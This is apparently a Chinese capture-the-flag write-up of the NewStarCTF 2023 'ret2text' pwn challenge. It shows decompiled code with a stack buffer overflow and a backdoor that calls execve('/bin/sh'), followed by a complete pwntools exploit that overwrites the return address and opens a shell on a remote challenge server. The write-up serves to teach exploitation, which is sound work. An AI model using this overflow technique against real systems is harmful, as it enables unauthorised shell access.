NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA,查看

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}

main函数,里read函数,分配了32(0x20)个大小 指定了0x100,有栈溢出漏洞

复制代码
int backdoor()
{
  puts("Congratulations!!!");
  return execve("/bin/sh", 0LL, 0LL);
}

又发现了后门函数,

复制代码
; Attributes: bp-based frame

public backdoor
backdoor proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
lea     rax, s          ; "Congratulations!!!"
mov     rdi, rax        ; s
call    _puts
mov     edx, 0          ; envp
mov     esi, 0          ; argv
lea     rax, path       ; "/bin/sh"
mov     rdi, rax        ; path
call    _execve
nop
pop     rbp
retn
; } // starts at 4011FB
backdoor endp

查看起始地址 为4011FB

  • payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)

完整exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",27131) 
payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)
p.sendline(payload)
p.interactive()
相关推荐
运维开发王义杰2 小时前
金融安全生命线:用AWS EventBridge和CloudTrail构建主动式入侵检测系统
安全·金融·aws
安全系统学习4 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
(:满天星:)5 小时前
第31篇:块设备与字符设备管理深度解析(基于OpenEuler 24.03)
linux·运维·服务器·网络·centos
小陶来咯5 小时前
【仿muduo库实现并发服务器】Acceptor模块
运维·服务器
爱莉希雅&&&5 小时前
shell编程之awk命令详解
linux·服务器·git
笑稀了的野生俊5 小时前
在服务器中下载 HuggingFace 模型:终极指南
linux·服务器·python·bash·gpu算力
cui_hao_nan5 小时前
Docker后端部署
运维·docker·容器
ZZH1120KQ5 小时前
Linux系统安全及应用
linux·运维·系统安全
加密狗复制模拟5 小时前
坚石ET ARM加密狗复制模拟介绍
安全·软件工程·个人开发
小扎仙森6 小时前
关于服务器宝塔转移wordperss子比主题问题
运维·服务器